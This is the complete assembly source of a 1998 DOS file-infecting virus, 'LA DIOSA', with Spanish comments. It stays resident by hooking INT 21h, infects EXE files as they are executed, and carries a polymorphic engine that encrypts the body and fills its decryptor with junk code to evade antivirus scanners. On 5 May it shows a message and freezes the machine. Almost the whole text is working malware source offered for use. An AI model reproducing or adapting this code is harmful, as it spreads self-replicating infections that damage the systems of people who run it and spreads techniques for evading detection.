; ; nEUrOtIc cpU. presents ; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ; º º ; º Virus LA DIOSA (version 1.0) ¸ by Nigromante º ; º º ; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ ; ; Infecta archivos Exe al ejecutarlos mediante el m‚todo tradicional ; copio el virus al final, y modifico el cs:ip del header. ; ; Virus polim¢rfico: ; El engine Polim¢rfico genera c¢digo variable ; Encriptado mediante una de 3 posibles funciones ; (add,sub o xor) con una clave aleatoria. ; En el decriptor se insertan instrucciones de acceso ; a memoria, a puertos, bucles, interrupciones,compraraciones ; saltos condicionales, llamadas a procedimientos. ; Y las instrucciones de inicializaci¢n del decriptor ; se reordenan con cada infecci¢n. ; .286 code segment 'code' assume cs:code,ds:code,es:code size equ offset fin-offset start long_vir equ 2*(fin-start)+1000h ;multiplico por 2 el (fin-start) para dejar espacio ;pa el buffer del polymorfismo clases_basura equ 11d carrier: push ds ;este push es solo necesario ;en el carrier porque despues ;se encarga el engine de pushear ;el valor del psp start: call find_offset ; busco la ip de inicio find_offset: ; para que la variables no mov si,sp ; aparezcan corridas mov bp,word ptr ss:[si] ; en vez de utilizar un pop sub bp,offset find_offset ; leo directamente del stack cli add sp,2 ; para evitar heur¡stica sti pop ds mov ax,ds mov es,ax ;es apunta al psp ;importante es tiene que apuntar al psp push ds push es push ':(' ;mira a ver si esta residente pop ax int 21h cmp ax, ';)' ;si lo esta devuelve un smilie je yaenmemoria mov ax, 3520H ;guarda la direccion inc al ;este trocito es rebuscado ;pero evita que salte el flag ;de residencia del tbav int 21h ;de la int 21 para poder mov cs:word ptr [bp+oldint21],bx ;llamarla cuando nos mov cs:word ptr [bp+oldint21+2],es ;plazca :-) mov ax,ds ;lo dejo residente por MCB dec ax mov es,ax mov ax,es:[3] sub ax,((long_vir+15)/16)+1 ;le resto a ax la long_del_virus ;en paragrafos xchg bx,ax mov ah,4ah push ds pop es int 21h ;Asignar blocke de memoria mov ah,48h ;el parrafo del MCB mov bx,((long_vir+15)/16) int 21h dec ax ;en ax devuelve el segmento reservado mov es,ax ;es apunta al segmento del MCB del segemento reservado mov word ptr es:[1],8 ;marco el bloque con un 8 para que inc ax ;no lo sobreescriban mov es,ax ;ahora es apunta al segmento reservado mov si,bp xor di,di push ds push cs pop ds cld mov cx,long_vir ; de memoria donde permanecer  rep movsb ; residente DS:SI -> ES:DI mov ax,2520h ;hago la redirecci¢n inc al mov dx,offset [nuevaint21] push es ;llevo el valor del segmento reservado pop ds ;a ds para realizar la redirec.. int 21h pop ds push ds pop es yaenmemoria: push ds push es ;ahora se comprueba si es septiembre push 02a00h ; funcion para obtener pop ax int 21h ; la fecha cmp dh, 05d ; compara el mes con mayo jne noactivo cmp dl, 05d ; compara con el 5 del 5 jne noactivo mov ax,0900h ; lea dx,bp+mensaje ; aparece el mensaje int 21h ; infinito: ; jmp infinito ; noactivo: pop es pop ds vuelta_al_exe: mov ax,ds add ax,cs:word ptr [bp+ss_sp] add ax,10h ;le sumo 10 por el PSP cli ;desavilitamos interrupciones mov ss,ax mov sp,cs:word ptr [bp+ss_sp+2] sti mov ax,ds add ax,cs:word ptr [bp+cs_ip+2] add ax,10h push ax mov ax,cs:word ptr [bp+cs_ip] push ax xor ax,ax xor bx,bx xor cx,cx xor dx,dx xor bp,bp xor si,si xor di,di retf ;vuelta al hoste del exe db ' *** nIgrO_lives_here *** ' nuevaint21: cmp ax,':(' je estainMemory cmp ah,04bh je infector jmp cs:[oldint21] estainMemory: mov ax,';)' iret off_arch dw 00h seg_arch dw 00h infector: mov word ptr cs:[off_arch],dx mov word ptr cs:[seg_arch],ds pushf call cs:[oldint21] pushf pusha ;en ds:dx la string que apunta al fichero mov dx,word ptr cs:[off_arch] mov ds,word ptr cs:[seg_arch] xor bp,bp ;bp a 0 importante para ejecutar la rutina ;polimorfica desde memoria mov ax,03d02h pushf call cs:[oldint21] xchg bx,ax push cs push cs pop ds pop es mov word ptr handel,bx mov ax,3224h ;intercepto la interrupcion 24h pushf call cs:[oldint21] mov ds:old_int24_off,bx ;la guardo :> mov ds:old_int24_seg,es mov bx,word ptr handel call seek_end mov word ptr longitud,ax ;relleno longitud call seek_begin mov cx,20h ;leo la cabacera lea dx,exeheader mov ah,3fh pushf call cs:[oldint21] cmp byte ptr [exeheader],'M' jne NO_inf cmp byte ptr [exeheader+1],'Z' jne No_inf cmp word ptr [exeheader+1ah],0000h jne No_inf cmp word ptr [exeheader+18h],0040h jae No_inf cmp word ptr [exeheader+0ch],0ffffh jne No_inf jmp contamina NO_inf: jmp nocontamina contamina: mov dx,offset new_int24 ;intercepto la int 24 mov ax,2523h inc al pushf call cs:[oldint21] cmp word ptr checksum,';P' ;est  infectado??? jne venga jmp nocontamina venga: call seek_end mov word ptr cs:[garbage],0h ;redondeo a paragrafo and ax,0fh or ax,ax je dontadd ;comparo si los ultimos 4 bits son 0 mov cx,10h sub cx,ax mov word ptr cs:[garbage],cx push 4000h pop ax pushf call cs:[oldint21] dontadd: call seek_end mov cl,4 shr ax,cl mov cl,12 ;calculamos la nueva cs-ip shl dx,cl ;ip ser  0 porque hemos redondeado a parag add dx,ax ;pero y cs??? sub dx,word ptr ds:exeheader+8 push dx push bx lea di,fin lea si,start mov cx,size mov bx,0h ;infecto exe's call engine pop bx ;recupero el bx modificado por el engine push 4000h pop ax ;funci¢n de escritura lea dx,fin pushf call cs:[oldint21] mov ax,4000d add cx,word ptr basura ;redondeo a 4000 bytes sub ax,cx ;para poder hacer stealth mov cx,ax add ax,cx pushf call cs:[oldint21] pop dx mov ds:ss_sp,dx mov ds:cs_ip+2,dx mov ds:word ptr cs_ip,0h mov ds:word ptr ss_sp+2,(((size)+300h)/2)*2 ;nueva pila call seek_end ;en DXAX la longitud del archivo mov cx,200h ;calculo las paginas que tendr  div cx ;en la cabecera inc ax mov word ptr exeheader+2,dx mov word ptr exeheader+4,ax mov word ptr checksum,';P' add word ptr exeheader+0ah,((size+800h+15h) shr 4)+10h ;memoria extra call seek_begin push 4000h pop ax mov cx,20h mov dx,offset exeheader pushf call cs:[oldint21] nocontamina:lds dx,cs:old_int24 mov ax,2523h inc al pushf call cs:[oldint21] popa popf retf 2 seek_begin: mov ax,4200h ;me voy al principio jmp cont seek_end: mov ax,4202h ;me voy al final cont: xor cx,cx xor dx,dx cwd pushf call cs:[oldint21] ret ;************************************************************************* ;* * ;* Esto es la rutina Polim¢rfica lo de arriba es * ;* s¢lo el virus :> * ;* * ;************************************************************************* engine: push ax ;pusheo los registros utilizados excepto push bx ;los registro que devuelven valores. push dx push ds push es push di push si jmp firma db 'nIgrOmAntE EngInE pOlymOrfIc (NEP)' firma: push di mov word ptr cs:[bp+dirini],bx mov word ptr cs:[bp+vircomien],si mov ax,256d call rand_in_range mov byte ptr cs:[bp+random],al ;) random rellenado mov word ptr cs:[bp+enc_size],cx lea dx,bp+decry_rutina1 ;indice a las instrucciones call Inicializacion ;inicializaci¢n de variables call rellenaroper ;para encriptar con diferentes funciones ;sub add o xor call desordenar ;desordena las instrucciones del decriptor mov bx,13d ;numero de instrucciones de la rutina de desenc. bucle: push bx call basura call pon_instruccion pop bx dec bx jne bucle call arregla_bucle call basura call encriptacion mov cx,di ;con esto calcula la longitud de la rutina pop di sub cx,di ;esto pa devolver cx guay con el tama¤o del ;virus encriptado+rutina desencriptacion pop si pop di pop es pop ds ;popeo los registros utilizados pop dx pop bx pop ax ret ;**** Procedimiento para inicializar variables **************** inicializacion: ;este procedimientos pone a 0 la tabla push si ;con las direcciones de los procedimientos basura push cx ;que genera el poly lea si,bp+proc_dir mov cx,4 continua: push cx mov word ptr cs:[si],00h inc si inc si pop cx dec cx jnz continua pop cx pop si ret ;**** Procedimiento para modificar la operaci¢n de encriptaci¢n ******* ;este procedimiento se encarga de modificar ;el decriptor en la zona de datos y el ;codigo del procedimiento de encriptaci¢n rellenaroper: ;con esto hago variable la operaci¢n push ax ;de encriptaci¢n push bx push cx mov ax,3d ;se puede encriptar con 3 posibles call rand_in_range ;funciones add,sub o xor mov bx,bp add bx,ax add bx,ax mov cl,byte ptr cs:[bx+operaciones] mov ch,byte ptr cs:[bx+operaciones+1] mov byte ptr cs:[bp+sigue_enc+1],ch mov byte ptr cs:[bp+decry_rutina2+2],cl pop cx pop bx pop ax ret ;**** Procedimiento para desordenar las instrucciones del decriptor ******* desordenar: push ax ;desordeno s¢lo las instrucciones push bx ;de inicializaci¢n del decriptor push cx ;para ello utilizo un byte de control para saber push si ;si ya he insertado todas las instrucciones que push di ;voy a desordenar y un byte de control por cada push es ;instruccion para saber ,mediante operaciones de push ds ;enmascaramiento con el byte de control ;si ya ha sido insertada. push cs push cs ;inicializo cs y ds para trabajar pop ds ;en el segmento de codigo pop es mov byte ptr [bp+desor_control],0h ;reseteo el valor de control lea di,bp+decry_rutina1 add di,6h siguiente_ins: cmp byte ptr [bp+desor_control],00111111b je salir_proc ;verifico si ya he insertado ;todas las instrucciones lea si,bp+desor_ins mov ax,6d ;reordenamos 6 instrucciones call rand_in_range ;por lo tanto un valor aleatorio 0-5 mov cl,5d mul cl ;ax:=al*cl add si,ax mov al,byte ptr [bp+desor_control] ;en ax la palabra de control and al,byte ptr [si] cmp al,0h jne siguiente_ins ;ya ha sido insertada la instruccion pues ;sigo con la siguiente mov al,byte ptr [si] cmp al,00001000b jne no_problem ;si es el " mov si,di " ;hay que verificar si di ha sido inicializado mov al,byte ptr [bp+desor_control] and al,00000100b je siguiente_ins ;si no ha sido inicializado a volver a probar no_problem: mov al,byte ptr [si] or byte ptr [bp+desor_control],al ;modifico la palabra de control inc si xor cx,cx mov cl,byte ptr [si] inc cl rep movsb jmp siguiente_ins salir_proc: pop ds pop es pop di pop si pop cx pop bx pop ax ret ;****************** Procedimiento pa meter basura **************** basura: push ax push bx probar_otra_vez: mov ax,3d ;hasta 3 instrucciones basura entre call rand_in_range ;instrucciones reales ,aunque algunas inc ax ;clases de basura poseen subbasura ;(llamadas recursivas a este mismo ;procedimiento) push di mete_basura: push ax ;¨cuanta basura meteremos? mov bx,bp mov ax,clases_basura ;numero de clases diferentes de call rand_in_range ;basura add ax,ax add bx,ax mov ax,word ptr cs:[bx+tabla_basuras] add ax,bp ;relocateo el valor de la tabla call ax pop ax dec ax jne mete_basura pop ax cmp di,ax je probar_otra_vez ;si no se ha insertado nada de basura ;probamos otra vez pop bx pop ax ret ;************ Arregla el Loop del bucle ********************************** arregla_bucle: push ax push bx push dx dec di push di inc di call basura mov bx,word ptr [bp+bucle_start] ;preparo el jump lea ax,bp+fin ;por ahora siempre el sub bx,ax ;buffer tendr  que estar en fin mov ax,word ptr [bp+dirini] add bx,ax dec bx mov word ptr [bp+repetir_bucle],bx lea si,bp+salto movsw movsb ;copio el salto movsw pop ax push di mov bx,di sub bx,ax ;en bx la posici¢n del salto mov di,ax dec bx mov byte ptr es:[di],bl ;esto es pa arreglar el salto pop di ;condicional pop dx pop bx pop ax ret ;************ Lee una instrucci¢n y la inserta en el buffer temporal ***** pon_instruccion: push ax ;importante en dx el indice del opcode push bx ;de la instrucci¢n a copiar push si push ds push bp mov bx,dx mov al,byte ptr [bx] ;en al el numero de bytes de la inc dx ;instrucci¢n a copiar (est  almacenado mov bx,dx ;en el primero bytes de cada ins) cmp byte ptr cs:[bx],0BFh ;es un mov di,xxx ? jne proseguir1 push di inc di mov word ptr [bp+encrypt_start],di pop di proseguir1:cmp byte ptr cs:[bx],026h ;es el comienzo del bucle ??? jne proseguir2 push di inc di mov word ptr [bp+bucle_start],di pop di proseguir2:push cs pop ds xor cx,cx mov cl,al ;en cx la longitud en bytes de la instruccion mov si,dx ;en si el inicio de la rutina ;di no lo cambio rep movsb ;copio la instrucci¢n add dx,ax ;pa ke apunte a la siguiente instrucci¢n pop bp pop ds pop si ;di se aumenta :> pop bx pop ax ret ;************* Porf¡n encripto el virus ********************* encriptacion: push ax push bx push cx push si push si push di mov si,word ptr [bp+encrypt_start] ;retoco la entrada de encr. sub di,bp sub di,size ;ojo supongo siempre el buffer en fin ;sub di,100h ;esto hay que modificarlo en caso sub di,1h mov bx,word ptr[bp+dirini] ;de ser un exe add di,bx mov word ptr es:[si],di pop di pop si push di ;copio el virus en el buffer mov si,word ptr cs:[bp+vircomien] mov cx,word ptr cs:[bp+enc_size] ;en si y di ya est n los valores idoneos rep movsb pop di mov si,di ;y ahora lo encripto mov dh,byte ptr cs:[bp+random] mov cx,word ptr cs:[bp+enc_size] sigue_enc: xor byte ptr es:[di],dh movsb dec cx jnz sigue_enc pop si pop cx pop bx pop ax ret ;************* Mete un byte ********************************* mete_unbyte: push ax push si push ds push bp push cs pop ds mov ax,5h call rand_in_range add bp,ax lea si,tabla1+bp movsb ;di como siempre no lo modifico pop bp pop ds pop si pop ax ret ;basura de un byte TABLA1 db 90h ;nop db 40h ;inc ax db 43h ;inc bx db 48h ;dec ax db 4bh ;dec bx ;************* Mete movs utilizados en la desencriptaci¢n ********** ;los meto de par en par ;para no modificar su valor ;e introduzco garbage entre ellos mete_mov_utiles: push ax push bx push dx push si push ds push si push ds push cs pop ds cmp byte ptr cs:[bp+contador],2h ;numero maximo de ejecuciones 4 jae exit2 xor bx,bx ;reseteo bx mov ax,4h call rand_in_range cmp ax,2h je exit2 mov bx,ax add bx,ax add bx,ax add bx,bp lea si,tabla3+bx mov ax,256d call rand_in_range ;hallo un valor aleatorio para rellenar el mov mov bl,al ;en bl el valor aleatorio mov byte ptr cs:[si+2],bl movsw ;di como siempre no lo modifico movsb pop ax pop dx push si push ds push bx mov ds,ax mov si,dx inc byte ptr [bp+contador] call basura ;pongo basura entre las 2 instrucciones dec byte ptr [bp+contador] pop bx pop ds pop si mov byte ptr cs:[si+2],bl movsw movsb jmp exit1 exit2: pop ds pop si exit1: pop ds pop si pop dx pop bx pop ax ret tabla3 db 083h,0c1h,00h ;add cx,00h db 083h,0e9h,00h ;sub cx,00h db 083h,0c1h,00h ;add cx,00h db 083h,0c7h,00h ;add di,00h db 083h,0efh,00h ;sub di,00h db 083h,0c7h,00h ;add di,00h ;************** Mete mov aleatorio ********************************* mete_mov_inutiles: ;con este procedimiento meto push ax ;instrucciones mov en las que no push si ;intervienen registros del decriptor push ds push bp push cs pop ds mov ax,0ffh call rand_in_range ;hallo un valor aleatorio para rellenar el mov mov bl,al ;en bl el valor aleatorio mov ax,4h call rand_in_range add ax,ax add bp,ax lea si,tabla2+bp mov byte ptr [tabla2+bp+1],bl movsw ;di como siempre no lo modifico pop bp pop ds pop si pop ax ret ;basura de un byte TABLA2 db 0b0h,00h db 0b3h,00h db 0b7h,00h db 0b4h,00h ;************* Mete push aleatorios ***************************** ;los meto de par en par ;para no modificar su valor ;e introduzco garbage entre ellos mete_push: push ax push bx push dx push si push ds push si push ds push cs pop ds cmp byte ptr cs:[bp+contador],3h ;numero maximo de ejecuciones 3 jna c3 jmp exit3 c3: xor bx,bx ;reseteo bx mov ax,5h ;numero de combinaciones diferentes call rand_in_range ;de pusheo popeo c4: mov bx,ax add bx,ax add bx,bp lea si,tabla4+bx movsb ;Primer Push pop ax pop dx push si push ds push bx mov ds,ax mov si,dx inc byte ptr [bp+contador] call basura ;pongo basura entre las 2 instrucciones dec byte ptr [bp+contador] pop bx pop ds pop si movsb ;ultimo push jmp exit4 exit3: pop ds pop si exit4: pop ds pop si pop dx pop bx pop ax ret tabla4 db 050h,05bh ;push ax pop bx db 0eh,058h ;push cx pop ax db 0eh,05bh ;push cx pop bx db 053h,058h ;push bx pop ax db 09ch,09dh ;pushf popf ;********************* Genera Interrupciones basura :> ****************** mete_int: push ax push cx push si push ds push bp push cs pop ds push bp mov ax,6d ;numero de interrupciones que call rand_in_range ;genera add ax,ax add bp,ax mov al,byte ptr ds:[basura_int+bp] ;a bp se le suma el mov cl,byte ptr ds:[basura_int+bp+1] ;desplazamiento por pop bp ;lo que luego tenemos mov byte ptr [bp+int_llamada+1],al ;popear el valor original mov byte ptr [bp+int_func+1],cl lea si,int_func+bp mov cx,4h rep movsb ;di como siempre no lo modifico pop bp pop ds pop si pop cx pop ax ret ;basura de un byte basura_int: ;tabla con las diferentes clases de db 021h,51h ;interrupciones basura y su funcion db 010h,0dh db 010h,0fh db 010h,08h db 021h,54h db 021h,37h db 021h,43h db 013h,10h ;correspondiente. db 021h,30h int_func db 0b4h,00h ;mov ah,funcion int_llamada db 0cdh,00h ;int numero ;relleno la llamada a interrupci¢n ;con los valores de basura_int y luego inserto ;en el codigo la llamada ;************* Mete bucle aleatorio ***************************** mete_bucle: push ax push bx push dx push si ;di como siempre no se puchea :> push ds push cs pop ds cmp byte ptr cs:[bp+contador],1h ;numero maximo de bucles jna a3 ;recursivos :> jmp exit5 a3: mov ax,3d call rand_in_range ;valor aleatorio para el indice de las mov bl,6d ;instrucciones que utilizaremos en el bucle mul bl s1: mov si,bp ;relocateo lo que obtenemos add si,ax mov ax,0004h ;valor aleatorio para el numero call rand_in_range ;de repeticiones del bucle inc ax ;importante porque el valor de inc ax ;repeticiones del bucle nunca puede ;estar a 0 y adem s repetir algo 1 unica ;vez es una tonter¡a :> mov word ptr [si+basura_bucle+1],ax ;relleno con un valor ;aleatorio de repeticiones add si,offset basura_bucle movsw movsb push di ;pucheo el valor de di Para luego ;arreglar el salto movsb push si inc byte ptr [bp+contador] ;realizo la llamada recurrente call basura ;pongo basura dentro del bucle dec byte ptr [bp+contador] pop si push cs pop ds ;otra vex ds=cs movsw ;el pop y el dec lea si,salto_del_bucle+bp movsw pop ax ;popeo en ax el valor donde deber  saltar ;el bucle mov dx,di sub dx,ax xor bx,bx sub bx,dx dec di mov byte ptr [di],bl ;arreglo el salto del bucle inc di ;di incrementada para apuntar a la ;siguiente instrucci¢n como siempre. exit5: pop ds pop si pop dx pop bx pop ax ret salto_del_bucle: db 075h,00h basura_bucle: db 0b8h,00h,00h ;mov ax,valor db 050h,058h,48h ;push ax;pop ax;dec ax db 0bbh,00h,00h ;mov bx,valor db 053h,05bh,04bh ;push bx;pop bx;dec bx db 0bdh,00h,00h ;mov bp,valor db 055h,05dh,4dh ;push bp;pop bp;dec bp ;************** Mete acceso a puertos ********************************* mete_acceso_puerto: push ax push si ;pusheo como no los registros a utilizar push ds ;excepto di (el super indice de encriptacion) push cs pop ds mov ax,03h call rand_in_range ;hallo un valor aleatorio para rellenar ;la instruccion in xor si,si ;reseteo el valor de si add si,ax add si,bp add si,offset puertos_disponibles mov al,byte ptr [si] mov byte ptr [bp+instruccion_in+1],al ;relleno el puerto lea si,bp+instruccion_in movsw ;di como siempre no lo modifico ;inserto la instruccion pop ds pop si pop ax ret puertos_disponibles: db 070h ;puerto de memoria cmos db 040h ;puerto de reloj db 060h ;puerto de teclado db 020h ;PIC initializacion cammand db 021h ;PIC registro de enmaskaramiento :> instruccion_in: db 0e5h,00h ;************** Mete acceso a Memoria ********************************* mete_acceso_memoria: push ax push si ;pusheo como no los registros a utilizar push ds ;excepto di (el super indice de encriptacion) push cs pop ds mov ax,021d call rand_in_range ;hallo un valor aleatorio para rellenar ;la instruccion in xor si,si ;reseteo el valor de si add si,ax add si,ax add si,bp add si,offset insmem cmp ax,15d movsw jge ins_valor_aleatorio ;di como siempre no lo modifico ;inserto la instruccion de 2 bytes jmp sacabo ins_valor_aleatorio: mov ax,0ffh call rand_in_range ;hallo un valor aleatorio para rellenar mov byte ptr es:[di],al inc di ;inserto el valor aleatorio e incremento ;el puntero de memoria sacabo: pop ds pop si pop ax ret insmem: db 08bh,05h ;mov ax,[di] db 08bh,04h ;mov ax,[si] db 08bh,01dh ;mov ax,[di] db 08bh,01dh ;mov bx,[di] db 08bh,01ch ;mov bx,[si] db 08bh,02dh ;mov bp,[di] db 08bh,02ch ;mov bp,[si] db 08ah,024h ;mov ah,[si] db 08ah,004h ;mov al,[si] db 08ah,03ch ;mov bh,[si] db 08ah,01ch ;mov bl,[si] db 08ah,025h ;mov ah,[di] db 08ah,005h ;mov al,[di] db 08ah,03dh ;mov bh,[di] db 08ah,01dh ;mov bl,[di] ;a estos opcodes hay que insertarle un byte aleatorio ;son instrucciones de 3 bytes db 08bh,046h ;mov ax,[bp+valor] db 08bh,05eh ;mov bx,[bp+valor] db 08bh,045h ;mov ax,[di+valor] db 08bh,044h ;mov ax,[si+valor] db 08bh,05ch ;mov bx,[si+valor] db 08bh,05dh ;mov bx,[di+valor] instruccion_mem: db 00h,00h,00h ;la maxima instruccion ocupa 3 bytes ;********** Mete comparaciones y saltos condicionales ***************** mete_comparaciones: push ax push bx push si push ds push es push cs pop ds cmp byte ptr cs:[bp+contador],2h jae fuera2 mov ax,07d call rand_in_range ;hallo un valor aleatorio para saber ;la que comparacion vamos a realizar mov cl,3d mul cl mov si,bp add si,ax add si,offset inscomp mov ax,0ffh call rand_in_range ;Numero aleatorio con el compararemos mov byte ptr cs:[si+2],al ;relleno el n£mero aleatorio movsw movsb ;copio la instruccion mov ax,09d call rand_in_range add ax,ax mov si,ax add si,bp add si,offset inssalto movsw dec di push di ;pusheo la direcci¢n que utilizaremos inc di ;para retocar el salto inc byte ptr cs:[bp+contador] call basura dec byte ptr cs:[bp+contador] pop ax ;desapilo la direccion de antes push di xor bx,bx sub di,ax add bx,di mov di,ax dec bl ;? mov byte ptr es:[di],bl pop di fuera2: pop es pop ds pop si pop bx pop ax ret inscomp: db 03dh,00h,00h ;cmp ax,valor db 083h,0fbh,00h ;cmp bx,valor db 083h,0f9h,00h ;cmp cx,valor db 083h,0fah,00h ;cmp dx,valor db 083h,0fdh,00h ;cmp bp,valor db 083h,0ffh,00h ;cmp di,valor db 083h,0feh,00h ;cmp si,valor inssalto: db 073h,00h ;jnb salto db 074h,00h ;jz salto db 075h,00h ;jnz salto db 076h,00h ;jbe salto db 077h,00h ;ja salto db 07ch,00h ;jl salto db 07dh,00h ;jge salto db 07eh,00h ;jle salto db 07fh,00h ;jg salto ;********** Mete Procedimientos ********************************** mete_procedimientos: ;la estructura basica del procedimiento ;ser : push ax ; jmp continuar push bx ;inico_proc: basurilla push si ; ret push ds ; continuar: push es cmp byte ptr cs:[bp+proc_control],0h jne fuera cmp byte ptr cs:[bp+contador],2h jae fuera cmp word ptr cs:[bp+proc_dir+6d],00h jne fuera ;no hay espacio para almacenar ;mas direcciones de procedimientos inc byte ptr cs:[bp+proc_control] mov byte ptr es:[di],0ebh ;meto el jmp inc di push di ;pusheo la direcci¢n del jmp ;para rellenarlo luego inc di inc byte ptr cs:[bp+contador] call basura dec byte ptr cs:[bp+contador] mov byte ptr es:[di],0c3h ;meto el ret inc di pop ax ;popeo la direccion del jmp pa retocarlo push di mov bx,di sub bx,ax mov di,ax dec bl mov byte ptr es:[di],bl ;retoco el jmp pop di inc ax ;en ax el valor a copiar en la tabla ;de direcciones de procedimientos ;que utilizaremos para generar los CALLS ;aqui el algoritmo pa guardar la direccion del procedimiento lea si,bp+proc_dir sigue: cmp word ptr cs:[si],00h ;hay que tener en cuenta je cont1 ;que como m¡nimo tenemos la inc si ;ultima posicion inc si jmp sigue cont1: mov word ptr cs:[si],ax ;copio el valor dec byte ptr cs:[bp+proc_control] fuera: pop es pop ds pop si pop bx pop ax ret ;************** Mete Llamadas a procedimientos (CALL) ******************** mete_call: push ax push bx push si ;pusheo como no los registros a utilizar ;excepto di (el super indice de encriptacion) lea si,bp+proc_dir cmp word ptr cs:[si],0h ;si he generado aunque sea s¢lo un je no_meter ;procedimiento ,busco su direcci¢n. repetir: mov ax,04d ;busco una de las 4 direcciones de proc call rand_in_range add ax,ax ;multiplico por 2 el resultado mov si,ax add si,bp add si,offset proc_dir mov bx,word ptr cs:[si] ;en bx la direccion del procedimiento cmp bx,0h je repetir ;mmmhh no hay una direcci¢n aqu¡ ;pues busco en otra direcci¢n. mov byte ptr es:[di],0e8h ;meto el opcode del call inc di xor ax,ax mov si,di sub si,bx sub ax,si sub ax,2d mov word ptr es:[di],ax ;y ahora la direccion del salto inc di inc di ;la direccion de la siguiente instruccion en di no_meter: pop si pop bx pop ax ret ;************** Genera un numero aleatorio entre 0 - (ax-1) ********** get_rnd: in ax,40h ;rutina RNG plagiada del CRICRI xor ax,0ffffh ;y anteriormente del RHINCE engine org $-2 ; rnd dw 0000h ;aqu¡ almaceno una palabra que modificar  mov cs:[bp+rnd],ax ;el siguiente numero aleatorio (xor) :> ret ;muy tru¤oso pero funciona no??? rand_in_range: push bx push dx xchg ax,bx call get_rnd xor dx,dx div bx xchg ax,dx pop dx pop bx ret ;********* Variables ,rutina de desencriptaci¢n y buffers temporales ****** tabla_basuras: dw offset mete_unbyte dw offset mete_mov_inutiles dw offset mete_mov_utiles ; <- utilizando registros dw offset mete_push ;usados en la desencriptaci¢n dw offset mete_int dw offset mete_bucle dw offset mete_acceso_puerto dw offset mete_acceso_memoria dw offset mete_comparaciones dw offset mete_procedimientos dw offset mete_call decry_rutina1: db 1h,01eh ;push ds ;esto es para saber el psp db 1h,00eh ;push cs db 1h,00eh ;push cs db 1h,01fh ;pop ds db 1h,007h ;pop es db 3h,0bfh,00h,00h ;mov di,encrypt_start db 2h,08bh,0f7h ;mov si,di db 3h,0b9h,00h,00h ;mov cx,enc_size db 2h,0b6h,00h ;mov dh,random ;Aqu¡ empieza el bucle de encriptaci¢n decry_rutina2: db 3h,026h,030h,035h ;xor byte ptr es:[di],dh db 1h,0a4h ;movsb db 2h,049h,09ch ;dec cx ;pushf db 3h,09dh,074h,0f9h ;popf ;je salir salto db 0b8h,00h,00h ;mov ax,valor org $-2 repetir_bucle dw 00h db 050h ;push ax db 0c3h ;ret ;too un segmento pa ;saltar,abajo los rangos de salto desor_ins: db 00000001b,1h,01fh,00h,00h ;pop ds db 00000010b,1h,007h,00h,00h ;pop es db 00000100b,3h,0bfh,00h,00h ;mov di,encrypt_start db 00001000b,2h,08bh,0f7h,00h ;mov si,di db 00010000b,3h,0b9h,00h,00h ;mov cx,enc_size org $-2 enc_size dw 00h db 00100000b,2h,0b6h,00h ;mov dh,random org $-1 random db 0 ;numero aleatorio con el que encriptamos. desor_control db 00000000b ;palabra de verificaci¢n para saber ;si ya estan todas las instrucciones ;que queremos desordenar. proc_control db 00h ;evita que se generen procedimientos dentro ;de procedimientos proc_dir dw 00h,00h,00h,00h ;tabla de offset de inicio ;para los procedimientos ;basura ]:-) operaciones db 00h,028h ;add ;sub db 28h,000h ;sub ;add db 030h,030h ;xor ;xor dirini dw 00h encrypt_start dw 00h ;offset del principio de la encriptaci¢n, en el buff bucle_start dw 00h ;offset del comienzo del bucle,en el buffer vircomien dw 00h ;comienzo del virus(lo que tendremos que encriptar) contador db 00h ;cuenta el numero de ejecuciones ;recurrentes de la rutina,evita que un excesivo ;numero de llamadas recurrentes sobresaturen de ;basura el decriptor ;******************* Fin de la rutina polymorfica ************* new_int24: xor al,al iret exeheader db 0eh dup('H'); ;esto el header de los exes ss_sp dw 0,400h ;reservo 200 bytes para la pila checksum dw 0 cs_ip dw offset hoste,0 dw 0,0,0,0 oldint21 dd 0 ;esto contiene la direccion de la int 21 longitud dw 0 handel dw 0 old_int24 label dword ;esto es para referenciar esta direccion ;y leer todo el offset y el segmento junto old_int24_off dw 0 ;contenido de la antigua int 24 old_int24_seg dw 0 mensaje db 'Virus LA DIOSA ,dedicado a ANRUELO ' ,0ah,0dh db 'virus demostraci¢n del NEP ',0ah,0dh db '.....',0ah,0dh db ' ....Virus LA DIOSA por nIgrOmAntE 1998. (VALENCIA)$' garbage dw 00h fin: hoste: push ax push dx push ds mov ah,9h mov dx,offset msg push cs pop ds int 21h pop ax pop dx pop ds mov ax,4c00h int 21h msg db 'El VOID est  en memoria , Cuidado con lo que ejecutes!!!!$' code ends end carrier